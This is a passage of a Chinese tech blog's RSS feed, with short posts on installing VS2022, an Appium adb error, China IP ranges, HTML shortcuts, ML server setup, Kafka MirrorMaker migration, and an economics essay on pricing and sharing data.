      <description>VS2022最新最全安装教程 很高兴你打开了这篇博客，接下来我们一起安装并且使用VS2022吧 文章目录 VS2022最新最全安装教程一.官网下载二.安装启动三.项目测试1.创建新项目2.选择我们使用的模板（C++空项目），继续冲！3.进入下图界面，取项目名称以及存放位置，然后项目就成功创建啦 四.美化编译器1.简单的调整主题（字体and颜色）2.调整背景图 总结 一.官网下载 戳这里—&amp;gt;[VS2022下载地址官网下载地址](https://visualstudio.microsoft.com/zh-hans/downloads/)，进入之后选择社区版（community，此版本是对个人免费开放的，基础学习使用社区版就可以满足我们的需求） 然后打开&#xA;二.安装启动 等待下载安装一段时间后，进入这里配置我们的VS2022，一般我们都是先学习c语言。所以勾选使用c++的桌面开发就足够使用（建议大家在其他工具里找到VS的扩展开发部分，也选中）&#xA;对于c盘相信大家都充满了恐惧，我们就把VS2022放到其他盘吧，都完成之后就可以安装啦（因为博主已经安装，所以显示可能略有不同，大家不必在意）&#xA;语言包选择的话，一般VS2022默认语言都是中文，我们就不多说了，直接下一步。&#xA;到这里我们就完美安装了VS2022，接下来完美来看看他是怎么使用的吧，一起冲！&#xA;三.项目测试 1.创建新项目 2.选择我们使用的模板（C++空项目），继续冲！ 3.进入下图界面，取项目名称以及存放位置，然后项目就成功创建啦 到了重头戏啦，看图，满满的干货&#xA;接下来又是修改名称，位置的操作啦，添加成功我们看到一个源文件创建好了，让我们面向编程，试试hello，wrold看看会有什么反应，代码如下：&#xA;#include&amp;lt;stdio.h&amp;gt; int main() { printf(&#34;hello,wrold\n&#34;); return 0; } 来看看博主的运行结果（小插一嘴，按F5运行哟）&#xA;是不是很神奇呢，到了这里，就有人会觉得这个编译器不合我的胃口，都没心情敲代码了，别急，还没完呢，我们来一起换个办公室，自己挑选总没理由了吧。&#xA;四.美化编译器 1.简单的调整主题（字体and颜色） 大家可以挑选自己喜欢的主题颜色，字体等等。博主会想要是能边看美女别敲代码就好了，这不，VS2022就给了我们这个机会。&#xA;2.调整背景图 更改需要关闭后进行完全设置，所以完成后，关掉VS，会看到如图&#xA;出现修改完成我们就大功告成了，点击close，重新打开VS2022，这时候会有默认背景，先来看看默认的小姐姐&#xA;接下来让我们换一个小姐姐^^&#xA;这样我们就完成啦（别问博主为什么没有换小姐姐，博主可是君子）&#xA;总结 经过上述，我们就可以拥有一个自己的优美学习室了，很感谢大家耐心看完，如有疑问，评论区留言哦）&#xA;都让大家和小姐姐一起敲代码了，还不给博主一个不要钱的三连吗</description>
    </item>
    <item>
      <title>【Appium踩坑】settings delete global hidden_api_policy_pre_p_apps‘ exited with code 255‘</title>
      <link>https://bchobby.github.io/posts/8162393e4971353cafd1f0328bbc2762/</link>
      <pubDate>Mon, 26 Sep 2022 18:49:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8162393e4971353cafd1f0328bbc2762/</guid>
      <description> 1、解决 小米手机：开发者选项里 - USB调试(安全设置) - 打开&#xA;（部分设备可能不生效，需要再关机重启一下）&#xA;以下设置开关，都打开：&#xA;一加手机：开发者选项里 - 禁止权限监控 - 开启&#xA;2、详细报错信息 Original error: &#39;Command &#39;/Users/xxx/Library/Android/sdk/platform-tools/adb -P 5037 -s 6c19e3ad shell settings delete global hidden_api_policy_pre_p_apps&#39; exited with code 255&#39;; </description>
    </item>
    <item>
      <title>中国大陆IP段（含港澳）【2022-09-24】</title>
      <link>https://bchobby.github.io/posts/182c73a086f1b1c332492717c3dc5832/</link>
      <pubDate>Mon, 26 Sep 2022 17:51:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/182c73a086f1b1c332492717c3dc5832/</guid>
      <description>1.0.1.0/24&#xA;1.0.2.0/23&#xA;1.0.32.0/19&#xA;1.0.8.0/21&#xA;1.1.0.0/24&#xA;1.1.10.0/23&#xA;1.1.12.0/22&#xA;1.1.16.0/20&#xA;1.1.2.0/23&#xA;1.1.32.0/19&#xA;1.1.4.0/22&#xA;1.1.8.0/24&#xA;1.1.9.0/24&#xA;1.10.0.0/21&#xA;1.10.11.0/24&#xA;1.10.12.0/22&#xA;1.10.16.0/20&#xA;1.10.32.0/19&#xA;1.10.64.0/18&#xA;1.10.8.0/23&#xA;1.116.0.0/15&#xA;1.118.0.0/16&#xA;1.119.0.0/17&#xA;1.119.128.0/17&#xA;1.12.0.0/14&#xA;1.180.0.0/14&#xA;1.184.0.0/15&#xA;1.188.0.0/14&#xA;1.192.0.0/13&#xA;1.2.0.0/23&#xA;1.2.10.0/23&#xA;1.2.12.0/22&#xA;1.2.16.0/20&#xA;1.2.2.0/24&#xA;1.2.32.0/19&#xA;1.2.4.0/24&#xA;1.2.5.0/24&#xA;1.2.6.0/23&#xA;1.2.64.0/18&#xA;1.2.8.0/24&#xA;1.2.9.0/24&#xA;1.202.0.0/15&#xA;1.204.0.0/14&#xA;1.24.0.0/13&#xA;1.3.0.0/16&#xA;1.4.1.0/24&#xA;1.4.16.0/20&#xA;1.4.2.0/23&#xA;1.4.32.0/19&#xA;1.4.4.0/24&#xA;1.4.5.0/24&#xA;1.4.6.0/23&#xA;1.4.64.0/18&#xA;1.4.8.0/21&#xA;1.45.0.0/16&#xA;1.48.0.0/15&#xA;1.50.0.0/16&#xA;1.51.0.0/16&#xA;1.56.0.0/13&#xA;1.68.0.0/14&#xA;1.8.0.0/16&#xA;1.80.0.0/13&#xA;1.88.0.0/14&#xA;1.92.0.0/15&#xA;1.94.0.0/15&#xA;101.0.0.0/22&#xA;101.1.0.0/22&#xA;101.101.100.0/24&#xA;101.101.102.0/23</description>
    </item>
    <item>
      <title>关于SSM框架的高校实验室管理系统答辩问题及回答</title>
      <link>https://bchobby.github.io/posts/aee1d624bac90b734a72744ea0618a05/</link>
      <pubDate>Mon, 26 Sep 2022 17:24:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aee1d624bac90b734a72744ea0618a05/</guid>
      <description>1.在你的展示中，你说你运用了云服务器，是做了后端吗？你的上一位小组同学又说没做后端？你们的功能实现都是分开的吗？&#xA;答：老师您好。我所负责的是信息管理模块的功能，所以我们使用了第三方提供的云服务器和云数据库进行数据存储，但我们除了数据存储外并没有其它的后端控制功能。我们小组的功能是分工做的，功能完成后再进行了合并与测试。目前已合并成功且形成一个完整的安卓APP。&#xA;2.你们使用了什么软件进行这个APP的编译？使用的是什么语言？&#xA;答：老师您好。我们小组使用的是3.5.1版本的Android Studio进行编译。使用了JAVA语言进行功能的编写。&#xA;3.你们的数据传输是怎么完成的？如何实现数据库的模糊查询和精确查询？&#xA;答：老师您好。为了实现数据传输功能与查询功能，我们参考了提供云数据库服务的第三方的方法。具体实现在我们的源程序中写了一个post文件以实现云数据库和手机端之间的数据收发及查询。</description>
    </item>
    <item>
      <title>HTML：快速生成语法和调试工具</title>
      <link>https://bchobby.github.io/posts/e9ae919650a9dee8fee9c74510057660/</link>
      <pubDate>Mon, 26 Sep 2022 16:40:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9ae919650a9dee8fee9c74510057660/</guid>
      <description>目录&#xA;一、HTML快速生成语法&#xA;二、使用调试工具&#xA;一、HTML快速生成语法 此语法基于：HBuilder 1、生成标签直接输入标签名，然后按tab或回车（enter）键即可&#xA;例如：p 按回车 直接生成：&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;2、生成多个标签，在标签名后面添加 “*”然后按tab或回车（enter）键即可&#xA;例如：p*3 回车就可以生成3个p标签&#xA;3、如果有父子关系，用“&amp;gt;”号，然后按tab或回车（enter）键即可&#xA;例如：ul&amp;gt;li 按回车就可以直接生成：&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&#xA;4、如果有兄弟标签，用“+”号，然后按tab或回车（enter）键即可&#xA;例如：div+p 按回车就可以直接生成：&amp;lt;div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;5、如果带有类名或id名，直接写.class(类名)或#id(id名) ，然后按tab或回车（enter）键即可&#xA;例如：.demo 然后按回车可以直接生成：&amp;lt;div class=&#34;demo&#34;&amp;gt;&amp;lt;/div&amp;gt;&#xA;#demo 然后按回车可以直接生成：&amp;lt;div id=&#34;demo&#34;&amp;gt;&amp;lt;/div&amp;gt;&#xA;p.demo 然后按回车可以直接生成：&amp;lt;p class=&#34;demo&#34;&amp;gt;&amp;lt;/p&amp;gt;&#xA;6、如果生成的div类名是有顺序的，可以用自增长$，按tab键生成&#xA;例如：.div$*3 按tab键生成&#xA;&amp;lt;div class=&#34;div1&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;div2&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;div3&#34;&amp;gt;&amp;lt;/div&amp;gt; 二、使用调试工具 打开任意一个网页，按F12或者右键点击检查&#xA;会出如图所示的调试器&#xA;1、ctrl+滚轮可以放大页面大小&#xA;2、左边是HTML元素结构，右边是css样式&#xA;3、右边css样式可以改动数值（左右箭头或直接输入）和查看颜色&#xA;4、ctrl+0恢复浏览器&#xA;5、如果点击元素，发现右侧没有样式引入，极有可能是类名或者样式引入错误。&#xA;6、如果有样式，但是样式前面有黄色叹号提示，则是样式属性书写错误。</description>
    </item>
    <item>
      <title>服务器搭建机器学习环境</title>
      <link>https://bchobby.github.io/posts/dc664ba96e06936a50221cae736921fb/</link>
      <pubDate>Mon, 26 Sep 2022 15:37:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc664ba96e06936a50221cae736921fb/</guid>
      <description>准备：&#xA;1、安装anaconda&#xA;miniconda3-教程&#xA;anaconda3-教程&#xA;wget https://repo.anaconda.com/archive/Anaconda3-2020.11-Linux-x86_64.sh bash Anaconda3-2020.11-Linux-x86_64.sh --python3 2、创建虚拟环境+激活虚拟环境&#xA;创建虚拟环境 conda create -n environment_name python=X.X 不表明 python 版本，会自动创建最新版本&#xA;2. 激活环境&#xA;conda activate web_crawler_env # or source activate web_crawler_env 3、在虚拟环境中下载需要的包（主要有torch、cuda）&#xA;conda install pytorch torchvision torchaudio cudatoolkit=11.3 -c pytorch 4、使用pycharm连接服务器的python环境&#xA;在Tools中配置映射&#xA;配置python解释器&#xA;5、配置pycharm的代码自动同步服务器&#xA;pycharm同步代码 问题&#xA;问题1：运行cuda时报错&#xA;原因：没有下载cuda（或，下载cuda出错没注意到）&#xA;解决方法：重新下载&#xA;查看可下载cuda版本 : nvidia-smi&#xA;下载可用版本的cuda生成下载代码&#xA;问题2：测试cuda还是为False import torch torch.cuda.is_available() 报错：&#xA;UserWarning: CUDA initialization: Unexpected error from cudaGetDeviceCount(). Did you run some cuda functions before calling NumCudaDevices() that might have already set an error?</description>
    </item>
    <item>
      <title>Kafka MirrorMaker迁移</title>
      <link>https://bchobby.github.io/posts/522b8efe7709d10aae13fa746b6d62a8/</link>
      <pubDate>Mon, 26 Sep 2022 10:09:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/522b8efe7709d10aae13fa746b6d62a8/</guid>
      <description>一、迁移流程 1.1 准备 kafka 集群 https://blog.csdn.net/qq_39680564/article/details/127048316&#xA;1.2 接入 MirrorMaker 1.3 配置 MirrorMaker 信息 1.4 启动迁移任务 1.5 切换生产者、消费者 二、迁移原理 MirrorMaker 创建一个通道将源端与目的端联通&#xA;MirrorMaker 作为消费者，消费源集群；MirrorMaker 作为生产者，将消息推送到目标集群&#xA;MirrorMaker 可将 topic 中的历史消息，以及后续产生的消息实时同步到目标集群&#xA;该工具在 kafka 安装包的 bin 目录 kafka-mirror-maker.sh&#xA;部署 MirrorMaker 的机器需要打通源端与目标端的网络&#xA;三、数据迁移 3.1 修改 consumer 配置 vim config/consumer.properties bootstrap.servers=10.11.113.181:9092,10.11.113.182:9092,10.11.113.183:9092 group.id=test-consumer-group partition.assignment.strategy=org.apache.kafka.clients.consumer.RoundRobinAssignor auto.offset.reset=earliest 参数说明bootstrap.servers自建实例的 broker 接入点列表group.id迁移数据时用到的消费者组 ID，请勿与实例已存在的消费者命名重复冲突partition.assignment.strategy分区分配的策略auto.offset.reset消息读取范围，earliest：从最早消息开始 3.2 修改 producer 配置 vim config/producer.properties bootstrap.servers=10.11.113.184:9092,10.11.113.185:9092,10.11.113.186:9092 compression.type=none 参数说明bootstrap.servers目标端实例的 broker 接入点列表。compression.type数据压缩类型 3.3 启动迁移 bin/kafka-mirror-maker.sh \ --consumer.config config/consumer.properties \ --producer.</description>
    </item>
    <item>
      <title>数据要素的性质、定价及配置</title>
      <link>https://bchobby.github.io/posts/72f051b1d4d4ce6a9a47c8a5337b2649/</link>
      <pubDate>Mon, 26 Sep 2022 09:35:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72f051b1d4d4ce6a9a47c8a5337b2649/</guid>
      <description>摘要：&#xA;作为数字经济的“原料”和”加工对象”，数据在经济发展中变得越来越重要。随着信息技术的发展，几乎一切都在数据化，数据几乎无所不在。数据作为一种新的要素，与土地、资本、劳动力和技术相比存在着一些根本性的差异，其中最为突出的特征是非竞争性、互补性、外部性与指数级增殖性。而数据要素定价是数据价值链的核心。数据定价模式十分复杂，还需要充分考虑到效率和隐私安全的平衡。此外，实现数据要素的开放共享，对于促进经济持续增长和转型至为关键。但在数据要素的实际利用过程中，存在“数据孤岛”“数据烟囱”“数据垄断”“数据黑市”等问题，只有实现效率、公平和隐私三者之间的平衡，满足可行的产权认定、有效的隐私保护、合理的收益分配机制、必要的关键信息等前提条件，并且有效结合政府规则、社会和市场自发力量，才能促进数据要素有效配置。&#xA;1 数据是什么&#xA;作为一种新的要素，数据日益受到重视。那么，数据究竟是什么？具有哪些主要的特征？学术界和实务界均有很多分析。一个可以借鉴的分析框架是Ackoff（1989年）提出DIKW框架，其中D表示数据（data）、I表示信息（Information）、K是知识（Knowledge）、W是智慧（wisdom）。之后，不少学者（Bellinger等，2004；Rowley， 2007；徐忠、邹传伟，2020）对此框架进行了拓展和完善，对数据、信息、知识和智慧的特征做了分类。&#xA;数据是一种符号（Symbol）、记录，具体形式可以是一篇文章、一段声音、一张图片。国际数据管理协会认为，“数据以文字、数字、图形、图像、声音和视频等形式呈现事实”（DAMA，2020）。数据往往产生于人与人、人与物、人与自然的互动过程。在万物互联的时代，物联网大行其道，物物互动也会产生海量数据。&#xA;而信息是经过处理的有用数据，目的是用于消除不确定性。信息（Information）是指一些能够回答在什么环境、是什么人、发生了什么事情等问题的事实或细节。比如明天会很热，这一段话就是一段信息，能够将明天天气变化的不确定性转为一定的确定性，这也是信息的价值所在。North在《理解经济变迁过程》（2007）当中，讨论不确定性时，也对信息和知识也进行过区分，而且给定现有的知识存量，可以通过增加信息的方式减少不确定性。&#xA;知识是物质和社会环境规律、模式的累积，基于数据和信息形成的有组织或有逻辑的解释，能够创造新的价值。知识可以分为可编码知识（显性知识）和不可编码知识（隐性知识）。从信息到知识，则是人认知的一种升华，是从外在体验转为内省感悟的一个过程。毫无疑问，尽管数据或信息是海量的，但转化为对世界的认知，以及改造世界的知识，是需要更多努力和投入的。通过海量数据或信息得到算法、模型可以视为一种知识。或者说，知识类似生产函数，而数据类似生产函数的一种投入要素（Jones和Tonetti，2020）&#xA;沿着Romer(1990)、Aghion和Howitt(1992)的分析范式，本文将上述DIKW四分类再进一步渐简化为数据和知识两个维度。其中，数据是一种要素投入，而知识则是一种生产函数。后续讨论大体上按照这种框架展开。&#xA;2 数据要素的基本特性&#xA;（一）非竞争性&#xA;数据容易存储，而且可复制性强。如果不考虑运行维护和存储成本，几乎可以无限制复制。无论是统计机构发布的调查数据，还是各种互联网平台收集的个人数据，都可以同时被多个用户使用，物理意义上说不会产生任何损失，同时也不会相互影响，非竞争性特征明显。一个典型的例子就是Kaggle设立的机器学习竞赛，相关数据就可以被不同参赛者使用。因此，数据和石油等自然资源不能简单类比，因为后者竞争性，多开采一桶石油，地球上石油储存量就少了一桶（Varian，2019）。反倒是将其比作阳光，似乎更为恰当。当然，实际使用过程当中，数据的获取需要必要的付出及条件，不像获取阳光那样无成本，所以数据仍然存在一定排他性特征（Partially Excludable; Carriere-Swallow和Haksar，2019）。正因为如此，根据非竞争性和一定的排他性，数据可以视为一种准公共产品或者公共品。&#xA;（二）互补性&#xA;不同来源的数据相互融合，可以提高揭示潜藏线索或者规律能力，增加单一数据源的边际价值,一定程度上可以使数字要素具备规模报酬不变甚至递增的特征。规模报酬不变、网络外部性是经济实现内生增长的重要源泉。Krugman、Romer是为数不多的认识到收益递增的主流经济学家，而圣塔菲研究所的Arthur对此有很系统的研究（复杂经济学，2018）。&#xA;也有观点认为，数据作为一种投入要素，边际回报仍然呈现递减特征，这和其他要素没有什么本质的不同。Varian（2019）举例说明，图像识别的精确度会随着训练时投喂的数据量提高而增加，但改进的速度会逐步放缓。但这样的观点只是强调了数据要素的单一应用。尤其值得重视的是，由于数字技术的发展，使得原来很难数字化的行为或事物都可以数字化，真正实现了古老哲学中的“万物皆数”，这就为跨界数字融合创造了前所未有的条件，使原来不相干的领域实现了联结。这也是数字时代创新和价值创造不同于工业时代的重要特征。数据具有非竞争性，能够被用于多个用途，而且后续使用边际成本会不断下降，加上互补性和网络性以及学习效应，数据要素仍可能具有规模报酬递增的特点。&#xA;（三）外部性&#xA;数据分享的确有助于促进研发、改进产品和服务质量，提高效率，但同时，由于存在信息不对称和平台的市场垄断地位，分享数据的一方未必能够获得足够补偿, 由此产生了隐私外部性（Carriere-Swallow，Haksar,2019）。比如，消费者数据可能在不知情的情况下转移给第三方，导致更多垃圾信息骚扰或不利的价格歧视（Odlyzko，2003）。这些负外部性很难被消费者和数据采集企业内部化。&#xA;由于不同数据之间具有关联性，可以用线性规划等方法，从一类已知的数据推断未知数据，从一组用户的行为数据可以推断另一组用户的行为。这样，就可能造成数据公开分享过程当中，用户隐私泄露，引发数据伦理问题。而且还会导致数据过度供给，数据价格过低，从而降低数据市场效率（Acemoglu等，2019）。这也决定了数据要素的安全共享使用，与加密技术的发展密切相关。&#xA;另外，数字化企业可能依靠网络外部性，过度集中数据，并获取大量超额收益。掌握或拥有独有的数据，就像掌握了独有的专利和技术一样，可以使数据的掌控者获取一种超额收益。这样，就会强化数据的私有属性，阻碍数据的分享和融合。某种程度上，申请专利和获取独有数据，都是市场主体建立竞争力或护城河的重要方式。&#xA;（四）指数级增殖性&#xA;数据可以看成是各种有意识或者无意识活动的附属品。数据的应用过程，本身可以产生更多新的数据，加快决策或者算法的迭代。例如，无人驾驶汽车，由基于数据训练得到的算法控制，行驶里程越长，将产生更多场景数据，反过来可以促进算法的进一步优化，形成“数据—算法—数据”的自我积累增长过程。随着整个经济社会数字化的程度提高，智能手机的普及，传感器的广泛应用，宽带传输技术的升级，算力的不断增强，全球互联，万物互联，数据要素呈现指数增长态势。根据IDC估计，到2025年，全球数据预计将达到175ZB，与2019相比，年均增长27%，相当于数据规模三年翻一番。数据规模是经济规模的增函数，超大规模经济体可能因此积累更多数据优势。&#xA;数据的指数级增长，会对经济增长产生何种影响，存在一定争议。一种观点认为，数据增加有增长效应（Growth Effect），即数据的规模报酬递增或不变特性，可以实现持续经济增长。由于存在数据反馈环（Data Feedback Loop），企业收集数据，就能够获得更大的市场地位，并因此获得更多数据（Farboodi等，2019）。巨大的门槛效应以及网络外部性，有助于实现规模经济。此外，围绕数字化产生更多类型的产品和服务，扩大了现有的产品服务空间，从而推动经济的可持续增长。但也有反对的观点，认为数据增加仅有水平效应（Level Effect），或者说受制于边际报酬递减，更多的数据并不会使得经济增速的路径发生改变。即使存在规模报酬递增，这种效应也只存在企业内部，无法适用于整个经济。Bajari等人（2018）应用亚马逊的数据进行了实证，表明来自数据规模增加的收益存在上限。&#xA;3 数据要素如何定价&#xA;数据作为一种要素，其价值实现关键在于连接融合和开放共享。数据要素和其他要素结合，必然会创造新的价值。数据价值链涉及到数据的生成、收集、交易、使用等环节，其中数据要素定价是数据供应链的核心。在讨论数据定价之前，需要先区分数据产品（Data products）和数字化产品（Digital products）。前者是指人类活动的客观历史记录，比如人口普查数据、商业型数据库。后者则是以数字化形式呈现的商品或服务，比如一本电子书、一部数字电影，一张数字化的地图，一个数字化的生产解决方案，等等。数字化产品中的生产和使用过程中又会衍生出更多新的数据。下面，分别从数据产品和数字化产品两个角度讨论数据价值的实现。&#xA;图1 数据供应链示意图&#xA;（一）数据产品&#xA;从数据供应链的视角看，数据售卖基本处于数据供应链的前端，具体数据在售卖之前，可能涉及到数据收集、清洗、储存、可视化等环节。像Bloomberg 、Wind、CEIC、邓白氏这样大家比较熟悉的数据公司，主要业务就是收集、整理、汇集不同来源或者特定领域的数据，然后卖给下游客户。相关数据有的来自传统统计或调查机构，比如政府统计机构、行业协会，有的来自企业生产经营状况，有的则是个人各种行为调查。从规模上看，更多数据来自电商平台、工业互联网平台。数据的客户包括金融机构、政府单位、企业、科研机构等。现实当中，也存在一些非正规甚至不合法的数据交易，这些数据往往通过正规、公开渠道很难获得。&#xA;数据的价值，往往与数据的可替代性、更新频率、数据颗粒度、完整性、可获得性等特征有关。但与一般商品不同，数据复制的边际成本接近零，数据定价更多依赖需求方的价值评估，而非成本加成，数据定价模式也更为复杂。有时候，数据使用者创造的价值或价值实现的范围，反过来决定了数据定价，表现为事后定价。当下，常见的定价模式包括免费、免费+付费增值、按需收费、固定费率等方式。其中，政府事业单位或者其他公共机构的公开数据多为免费。采取免费+付费的方式，多是用免费数据吸引潜在的客户群体，付费购买价值更高的数据或者数据增值服务。免费数据，通常及时性不强、颗粒度较粗。按需收费方式，一般是通过API接口传输数据，按照具体使用量收费，常见于金融等高频场景。固定费率则是客户购买账号，然后获得一定期限内数据的使用权限。后两种方法也可以结合起来，形成两部定价模式，这种模式更能实现收入最大化，在一般的数据销售当中也比较常见（Wu和Banker，2010）。&#xA;随着数字经济的发展，收集和利用微观个体的信息更为便利，但与此同时，人们对加强个体隐私保护的期待也更为迫切。数据定价需要充分考虑到效率和隐私安全的平衡。前面提到过，数据不是普通的私人物品，如果不考虑非竞争性、隐私外部性，数据定价就存在扭曲。例如，如果某个要进行的查询（Query）是其他查询的线性组合，或者通过其他查询推断得到，购买这个查询就存在套利行为。又比如，由于存在社会网络，不同消费者的个人信息往往具有一定相关性，购买一部分消费者的数据，或许就能推测别的消费者信息。因为这种负外部性，会出现数据的过度供给，导致数据价值被严重低估（Accemoglu，2020)。&#xA;图2 数据要素的无套利定价&#xA;目前讨论比较集中的一个领域是无套利定价（Arbitrage-free pricing）。图2给出了无套利定价示意图。数据要素的均衡价值E取决于隐私和数据价值之间的平衡。一方面，数据购买方的支付意愿随着数据质量变化，即价值曲线。数据质量更高，能够揭示的信息更多，数据价值就更高。另一方面，数据拥有方（比如个人）一般对隐私比较看重，透漏个人信息需要得到相应补偿，即补偿曲线。要想数据拥有方面提供更多私人的真实信息，就需要支付更高补偿。这种定价方式，超越了原来把隐私保护绝对化的做法，对隐私的保护和数据使用有效结合了起来。在均衡点E的价格，既能够根据数据质量，给予不同来源数据合适的补偿，同时又能够克服数据购买过程当中的套利行为。当然，要实现这种无套利行为，还需要发展相关加密技术，比如隐私计算。&#xA;作为一种隐私计算方法，安全多方计算（Secure Multi-Party Computation，MPC）近年来备受关注。随着机器学习和人工智能的普及，一种算法的训练和应用，往往需要采用不同来源的数据，这就涉及到如何保护各自隐私安全、同时又能确定不同来源数据贡献的问题。安全多方计算可以打破数据孤岛，实现数据的可控共享，同时最小化数据泄露风险，具有重要的理论和现实意义。安全多方计算由1986年由姚期智提出(Yao, 1986)。进入互联网和数字化时代以后，数据共享需求更为迫切，安全多方计算也得到了进一步发展，到2018年，谷歌、阿里等大科技公司已经实现了一些商业案例（Hong等，2020）。&#xA;当然，不少掌握数据或者大数据的企业，并不会简单销售数据，更多是通过提供数据相关的增值服务，数据本身并未发生转移。电商平台、社交平台或电信基础运营商，掌握大量的用户信息，有时候可以利用数据，对个人、企业或者机构进行精准画像，从而为数据的购买者提供引流、价格歧视等服务。比如一家广告商可以在搜索引擎上面通过竞价排名，定向投放广告，同时支付一定的费用。又比如，互联网平台公司可以通过产业链促进信息共享，菜鸟物流与不同快递物流公司的数据对接，优化物流路径，以解决“双十一”期间物流拥堵的问题。利用大数据精准定位政策作用对象，政府也可以进一步改善治理，比如识别低收入群体发放消费券，识别活跃市场主体实施针对性支持政策等。不少公司，通过整合数据，融入自身的智力，通过人工智能、机器学习的方法，提供数据分析服务，比如一些大数据公司提供大数据征信业务。这一类服务定价，由于涉及到数据增值部分，定价方式更难统一。&#xA;（二）数字化产品&#xA;从经济学角度看，数字化产品具有赢者通吃、高固定成本-低可变成本、更加强调体验、收入变现渠道更多元等特点。&#xA;4 谁应当拥有数据：从产权到可及性&#xA;通常，清晰明确的产权界定是资源有效配置的基础。Coase认为，最初产权分配并不重要，只要存在充分竞争，相关的收益和成本能够完全内部化，资源就能实现有效配置（Coase，1960）。如果把隐私也看成一种权利，那么隐私权利在消费者和作为数据收集方的企业之间如何配置，并不重要。这也是芝加哥学派基于产权的观点(Laudon, 1997)。但从数据要素具有非竞争性、隐私外部性、互补性等特点，过度采取采集数据、侵犯隐私、利用数据优势谋求市场垄断权力现象频频发生，一定程度上说，科斯定理并不适用于数据要素。当然，如果因为隐私保护，严格限制数据使用，又不能发挥数据的规模经济优势（Jones和Tonetti,2020）。在实践当中，平衡效率、公平和隐私等多重目标，实现数据的有效利用，数据产权归属并不是非黑即白，更可能是在上述两类观点之间存在一个广泛的谱系。&#xA;数据产权的分布对福利有显著影响。数据是经济活动的副产品，企业若能拥有和客户打交道过程获得的个人数据，则有助于其加大数据收集、分析和利用方面的投资。不利之处在于，企业不一定会尊重客户隐私。同时，由于担心出现创造性破坏，更不愿意与其他企业分享数据。凭借数据优势，企业可以拥有更大的市场力量，并可能妨碍其他企业进入，影响竞争公平性。有研究表明，如果不能够发挥数据非竞争性特点，通过连接、融合和共享，实现规模经济效应，全社会福利成本的损失是巨大的。尤其是完全禁止数据分享，会导致社会福利比最优水平减少近60%（Jones和Tonetti，2020）。从目前理论研究和实践发展的角度看，如果数据要素归属消费者，消费者则可以自行权衡隐私效用与交换个人数据所带来的经济收益，从而实现数据要素的更有效配置，提升全社会福利。近年来，金融监管者开始意识到这一点，赋予个人更多数据权利，积极推动开放银行（Open Banking）的发展，加大金融数据的开放共享，促进了金融创新和竞争。&#xA;私人物品强调产权归属，但数据要素具有非竞争性和部分排他性，具有更强的公共品或准公共品性质，可及性（Access）可能更为重要（Varian，2018）。过度强调数据要素的产权归属，会限制数据的流动、共享和再利用，无法释放潜在价值。同时，有些设计，实用性并不一定强，比如“个人数据的可携性”，数据主体不仅有权知悉、访问、更正数据控制者个人被采集的数据，也有权将这些数据转移给第三方。但这可能会导致财产权和人格权的冲突。与数据的人格权益归属存在较多共识不同，数据的财产权益归属问题，目前各方面争议较多。为此，数据可及性，才是数字经济时代促进市场竞争、充分发挥数据价值的重要变量（Cremer等，2019）。实际上，保护个人隐私严格的欧盟，意识到数字经济发展落后美国，已经在GDPR生效以后，进一步制定《欧盟数据战略》，推出《数字服务法案》、《数字市场法案》，试图在保证数据安全的前提下，促进个人和非个人数据开放共享。&#xA;增强数据的可携带性和不同数据基础设施接口的转换便利性，有助于提高可及性。尤其是物联网加快发展，对基于通用性、标准化程度高的接口，实现安全可行的数据交换途径变得更为迫切。具体实践当中，已经数据空间、数据银行、我的数据（My data）等应用模式。但也需要注意，由于数据具有非竞争性特征，加强数据的共享，可能会因为规模效应、网络外部性，进一步强化在位企业的数据优势，反过来损害竞争。&#xA;5 如何促进数据开放共享&#xA;数据要素是一种基础性战略性资源，实现数据的开放共享，对于促进经济持续增长和转型至为关键。但在数据要素的实际利用过程当中，既存在“数据孤岛”、“数据烟囱”，受部门利益阻隔，公共数据资源闲置浪费现象严重；也存在“数据垄断”，在位企业滥用数据优势，阻隔数据价值链；还存在“数据黑市”，个人信息被过度收集，隐私得不到有效保护，导致了严重的社会伦理问题。只有达到效率、公平和隐私三者之间的平衡，满足可行的产权认定、有效的隐私保护、合理的收益分配机制、必要的关键信息手段等前提条件，有效结合政府规制、社会和市场自发力量，才能促进数据要素的更有效配置。&#xA;（一）发挥政务大数据第一撬动效应，加快数据开放共享步伐&#xA;政府职能部门及其部分事业单位在日常事务当中积累沉淀了大量数据，涉及经济社会运行的各个方面，数据来源稳定、规模可观，而且真实性、完整性、互补性好。随着电子政务的发展，政府掌握了全社会大约80%的信息资源。政务大数据公共属性最强，对于谁应该拥有数据，争议和纠纷相对较少。政府开放数据，具有很强示范意义，能够更好推进全社会数据开放共享。美国于2009年上线了DataGov网站，加大政府数据开放力度。2019年则发布了《联邦数据战略与2020年行动计划》，推动数据的保护、共享和开放。英国在其数字战略当中也提到要转变对政府数据的使用。国内数字政务推动也比较快，其中不乏一些比较好的案例。比如浙江成立了“最多跑一次”改革办公室，打通公安、社保、房产、税收、教育等部门数据，让数据多跑腿，群众少跑腿。&#xA;但另一方面，由于职能部门数据共享开放制度不健全、信息基础设施不完备，对数据安全和风险的担忧突出，消除数据孤岛，进一步打通数据链还有很大空间。不同政府职能部门之间的行政性壁垒往往也很难打破，数据难以实现共享，或者仅仅限于统计级、相对陈旧的有限数据共享。跨部门获取数据，有时候经过主要负责人协调，各个职能部门依旧能拒绝、拖延或者缩水提供。此外，不少地方的数据归集到了一起，受编制、经费等限制，开发利用远远不够。</description>
    </item>
    <item>
      <title>Axmath实用教程</title>
      <link>https://bchobby.github.io/posts/f4f5f81384295e85952726210270445f/</link>
      <pubDate>Mon, 26 Sep 2022 08:33:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4f5f81384295e85952726210270445f/</guid>
